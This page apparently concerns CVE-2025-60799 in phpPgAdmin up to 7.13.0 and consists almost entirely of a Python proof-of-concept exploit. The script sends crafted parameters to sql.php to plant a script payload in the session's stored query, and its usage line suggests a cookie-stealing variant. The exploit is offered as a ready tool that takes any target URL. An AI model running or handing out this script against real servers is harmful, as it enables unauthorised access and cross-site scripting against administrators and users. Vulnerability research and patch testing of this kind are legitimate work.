CVE-2025-60799: phpPgAdmin会话变量未授权访问漏洞

import requests import sys # CVE-2025-60799 PoC - phpPgAdmin Session Variable Manipulation # Target: phpPgAdmin <= 7.13.0 (sql.php lines 68-76) def exploit_cve_2025_60799(target_url, attacker_query="<script>alert('XSS')</script>"): """ Exploit for CVE-2025-60799: phpPgAdmin Incorrect Access Control Allows unauthorized manipulation of session variables via user-controlled parameters """ # Target endpoint endpoint = f"{target_url.rstrip('/')}/sql.php" # Malicious parameters to manipulate session variables # These parameters are accepted without proper validation (lines 68-76) params = { 'subject': 'server', 'server': '1', # Server ID 'database': 'postgres', # Database name 'queryid': 'malicious_query', # Arbitrary query identifier 'query': attacker_query # Injected SQL/XSS payload } print(f"[*] Targeting: {endpoint}") print(f"[*] Injecting payload: {attacker_query}") try: # Send request with malicious parameters # No authentication required (PR:N), but user interaction needed (UI:R) response = requests.get(endpoint, params=params, timeout=10) # Check if request was successful if response.status_code == 200: print(f"[+] Request sent successfully") print(f"[+] Payload stored in session variable: $_SESSION['sqlquery']") print(f"[*] Next victim accessing sql.php will trigger the stored payload") return True else: print(f"[-] Request failed with status: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") return False if __name__ == "__main__": if len(sys.argv) < 2: print(f"Usage: python {sys.argv[0]} <target_url> [payload]") print(f"Example: python {sys.argv[0]} http://vulnerable-server/phppgadmin '<script>alert(document.cookie)</script>'") sys.exit(1) target = sys.argv[1] payload = sys.argv[2] if len(sys.argv) > 2 else "<script>alert('CVE-2025-60799')</script>" exploit_cve_2025_60799(target, payload)